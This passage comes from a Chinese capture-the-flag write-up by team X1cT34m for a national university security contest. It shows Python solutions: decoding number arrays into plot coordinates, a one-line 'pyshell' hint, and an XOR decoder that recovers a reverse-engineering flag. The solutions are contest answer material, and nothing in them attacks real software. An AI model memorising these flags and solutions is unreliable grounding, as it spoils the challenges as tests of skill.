5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2456, 2456, 2456, 2456, 2456, 2385, 2385, 2385, 2385, 2385, 2385, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2935, 2935, 2935, 2935, 2935, 2935, 2935, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3371, 3371, 3371]
kkk = [3957, 3792, 5254, 2458, 3310, 3957, 3792, 3576, 5254, 2456, 2458, 3310, 3957, 5254, 5709, 6480, 3762, 4717, 5579, 4591, 2456, 2458, 3355, 3310, 3957, 3792, 5254, 4968, 5709, 7072, 2963, 3762, 5579, 4591, 2456, 2458, 3310, 3957, 5254, 4968, 6480, 7072, 4660, 2963, 3762, 4591, 2388, 2456, 3310, 3957, 5254, 4968, 5709, 7072, 4660, 2963, 3762, 4591, 2456, 3310, 3957, 5254, 3776, 2841, 3632, 4968, 7072, 4660, 3762, 4717, 5579, 4591, 2456, 2458, 3310, 3957, 3776, 2841, 4968, 5709, 6480, 7072, 4660, 2059, 4591, 2456, 2458, 2963, 3762, 5579, 4591, 2458, 2385, 4717, 5579, 3762, 4717, 5579, 4591, 3355, 3310, 3957, 3792, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 5579, 4591, 3355, 3792, 3576, 3878, 2841, 4660, 4717, 5579, 3792, 3878, 2841, 7072, 4660, 3762, 4717, 3957, 3792, 3878, 2841, 6480, 7072, 4717, 5579, 3310, 3957, 3878, 2841, 5709, 6480, 5579, 4591, 3310, 3878, 2841, 5709, 4591, 3310, 3957, 3792, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 2963, 3762, 4717, 5579, 4591, 5254, 3776, 3310, 3957, 3792, 3576, 5254, 3776, 2841, 6480, 7072, 4660, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 6480, 4660, 2059, 3762, 4717, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 5254, 3776, 2841, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 3878, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3957, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 4660, 2059, 5579, 4591, 3957, 3792, 6480, 7072, 4660, 5254, 3776, 2841, 3632, 4591, 2385, 3957, 3792, 3576, 5254, 3776, 2841, 3632, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 1932, 3310, 3957, 3576, 3506, 2841, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3506, 3776, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3776, 2841, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 2985, 3792, 2841, 3632, 4660, 2059, 5309, 1932, 3957, 3792, 3632, 5709, 4660, 2059, 4591, 5309, 1932, 3957, 3792, 3576, 3506, 3878, 5254, 3776, 2841, 3632, 5709, 6480, 7072, 4660, 5579, 4591, 2385, 1932, 4717, 5579, 2385]
table = [242, 3011, 3355, 3310, 3957, 3792, 3576, 3506, 3382, 3878, 5254, 3776, 2841, 3632, 4454, 4968, 5709, 6480, 7072, 4660, 2059, 2963, 3762, 4717, 5579, 4591, 5309, 5678, 2388, 2456, 2458, 2385, 1932, 2985, 2960, 2702, 2935, 3483, 3427, 3371, 2883, 3007, 3750]

for i in range(341):
    y = -table.index(aaa[i])
    x = table.index(kkk[i])
    print(x, y)

然后得到的结果画图即可

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

pyshell

拼接即可

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Re

babyre

a = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81,
     83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
flag = chr(a[0])
for i in range(len(a) - 1):
    flag += chr(ord(flag[i]) ^ a[i + 1])
print(flag)